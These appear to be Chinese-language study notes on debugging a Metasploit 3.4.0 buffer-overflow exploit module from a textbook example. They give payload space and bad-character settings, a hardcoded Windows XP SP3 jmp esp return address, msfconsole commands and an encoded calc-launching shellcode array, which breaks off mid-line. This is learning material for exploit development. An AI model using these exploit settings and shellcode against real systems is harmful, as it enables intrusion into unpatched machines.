1、利用failwest书中的例子进行测试,执行exploit后提示如下信息,说明 Payload'中的Space过小,增大即可,后面有例子程序可进行测试。
'Payload' =>
{
'Space' => 300,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
[-] Exploit failed: No encoders encoded the buffer successfully.
[*] Exploit completed, but no session was created.
2、如提示无法加载模块,说明rb文件书写语法有误,需要更改,不同的版本有可能语法也不完全相同,如下面的rb测试代码放到最新的版本中则无法加载,使用时注意。
3、目前使用metasploit3.4.0版本进行测试,测试时发现targets 中sp2及win 2000地址失效,所以用[ 'Windwos xp sp3', { 'Ret' => 0x7c86467b} ], ,0x7c86467b地址为jmp esp测试成功,使用metasploit console输入 msfpescan -f -j esp c:/windows/system32/kernel32.dll
4、metasploit常用命令:
use 模块名
set payload XX
set rhost XX
set rport XX
set exitfunc seh
set cmd calc
set payload windows/exc
5、配置的shellcode为223个字节,即上面的300可以改为223
/*
* windows/exec - 223 bytes
* http://www.metasploit.com
* Encoder: x86/shikata_ga_nai
* EXITFUNC=process, CMD=calc
*/
unsigned char buf[] =
"\xd9\xe5\xbd\x20\x99\xb8\x99\x31\xc9\xd9\x74\x24\xf4\x5e\xb1"
"\x32\x83\xee\xfc\x31\x6e\x13\x03\x4e\x8a\x5a\x6c\x